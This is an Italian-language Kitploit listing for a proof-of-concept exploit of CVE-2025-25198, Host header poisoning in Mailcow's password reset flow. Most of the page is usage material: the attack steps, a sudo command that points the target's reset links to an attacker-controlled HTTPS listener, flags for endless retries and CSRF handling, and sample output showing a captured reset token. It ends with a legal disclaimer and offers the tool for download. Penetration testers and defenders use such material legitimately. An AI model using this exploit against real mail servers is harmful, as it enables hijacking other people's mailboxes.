Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-25198-PoC — PoC per CVE-2025-25198: test automatizzato di Host header poisoning per Mailcow - listener HTTPS, gestione automatica di cookie/CSRF, cattura il primo link di reset. | Kitploit
Strumenti/GitHubGitHub/groppoxx/cve-2025-25198-poc
Attacchi alle PasswordAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebSicurezza WebPenetration Testing
GitHubgroppoxx/cve-2025-25198-poc

CVE-2025-25198-PoC

PoC per CVE-2025-25198: test automatizzato di Host header poisoning per Mailcow - listener HTTPS, gestione automatica di cookie/CSRF, cattura il primo link di reset.

Vedi Repository
20164 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

CVE-2025-25198-PoC

Proof-of-concept per CVE-2025-25198, un problema di avvelenamento dell'header Host che interessa i flussi di reimpostazione della password di Mailcow.

Lo script avvia un listener HTTPS locale sulla porta 443, ottiene automaticamente un token CSRF valido, invia la sequenza di reimpostazione della password con un header Host avvelenato e si ferma quando viene recuperato un link di reimpostazione dalla risposta HTTP o da un callback al listener.

Cosa Fa

  1. Avvia un listener HTTPS con un certificato autofirmato.
  2. Crea una nuova sessione client HTTP.
  3. Ottiene automaticamente un token CSRF.
  4. Invia il flusso di reimpostazione con un header Host controllato.
  5. Estrae i link di reimpostazione dalle risposte e dai reindirizzamenti.
  6. Attende un colpo del listener se il target invia il link fuori banda.
  7. Si ferma al primo link di reimpostazione valido e lo stampa in modo pulito.

Requisiti

Python 3.8+
OpenSSL in PATH
sudo/root privileges to bind port 443
Inbound TCP/443 reachable from the target

Installa le dipendenze:

pip install -r requirements.txt

Avvio Rapido

I valori racchiusi tra parentesi angolari sono segnaposto. Sostituiscili con i tuoi valori e non includere i caratteri < o >.

sudo python3 cve_2025_25198.py \
  --listen-host 0.0.0.0 \
  --base-url <MAILCOW_URL> \
  --username <MAILBOX> \
  --attacker-host <ATTACKER_HOST> \
  --http2

Segnaposto

<MAILCOW_URL>    # URL base del target Mailcow. Esempio: https://mail.example.com
<MAILBOX>        # Casella postale/utente passata al form di reset. Di solito un indirizzo email.
<ATTACKER_HOST>  # Nome IP o DNS che il target può raggiungere su TCP/443.

Esempio Completo

sudo python3 cve_2025_25198.py \
  --listen-host 0.0.0.0 \
  --base-url https://mail.cows.com \
  --username [email protected] \
  --attacker-host 10.10.13.12 \
  --http2

Esempio di output:

[2026-05-17T18:30:12Z] [+] Listener HTTPS su https://0.0.0.0:443
[2026-05-17T18:30:13Z] [+] CSRF automatico: 0123456789abcdef...
[2026-05-17T18:30:13Z] [>] Invio della sequenza con Host avvelenato
[2026-05-17T18:30:14Z] [HIT] GET /reset-password?token=AAAA-BBBB-CCCC-DDDD ← 10.10.13.12 [200]

╔════════════════════════════════════════════════════════════════════════════════╗
║  LINK DI RESET TROVATO!  (listener)                                           ║
╟════════════════════════════════════════════════════════════════════════════════╢
║  https://mail.cows.com/reset-password?token=AAAA-BBBB-CCCC-DDDD                ║
║  Target: mail.cows.com                                                         ║
╚════════════════════════════════════════════════════════════════════════════════╝

Demo

asciicast

Flag Opzionali

--http2
   Usa HTTP/2 tramite httpx. Consigliato per la migliore compatibilità con i browser moderni.

--interval <seconds>
   Secondi tra tentativi e finestre di attesa del listener. Predefinito: 8

--max-attempts <N>
   Fermati dopo N tentativi. Predefinito: 0, significa riprova all'infinito.

--cookie '<pairs>'
   Semina il contenitore dei cookie del client manualmente.
   Esempio: --cookie 'PHPSESSID=abcdef123456; another=value'

--csrf <TOKEN>
   Usa un token CSRF noto invece della scoperta automatica.

--only-final
   Nascondi i log di avanzamento e stampa solo il banner finale del link di reset.

Note

  • Il listener si lega sempre alla porta 443.
  • Su Linux/macOS, il binding alla porta 443 richiede sudo o root.
  • Il target deve essere in grado di raggiungere https://<ATTACKER_HOST>/.
  • Se viene trovato un link di reset in una risposta HTTP, lo script esce immediatamente.
  • Se non viene trovato alcun link nella risposta, lo script attende un callback al listener HTTPS.
  • Se non viene recuperato alcun link, la sequenza riprova ogni 8 secondi per impostazione predefinita.
  • server.pem e server.key vengono generati automaticamente se mancanti.

Legale

Questa PoC è destinata a test di sicurezza autorizzati, ambienti di laboratorio e verifica delle vulnerabilità. Non utilizzarla contro sistemi senza autorizzazione esplicita.

Scarica lo strumento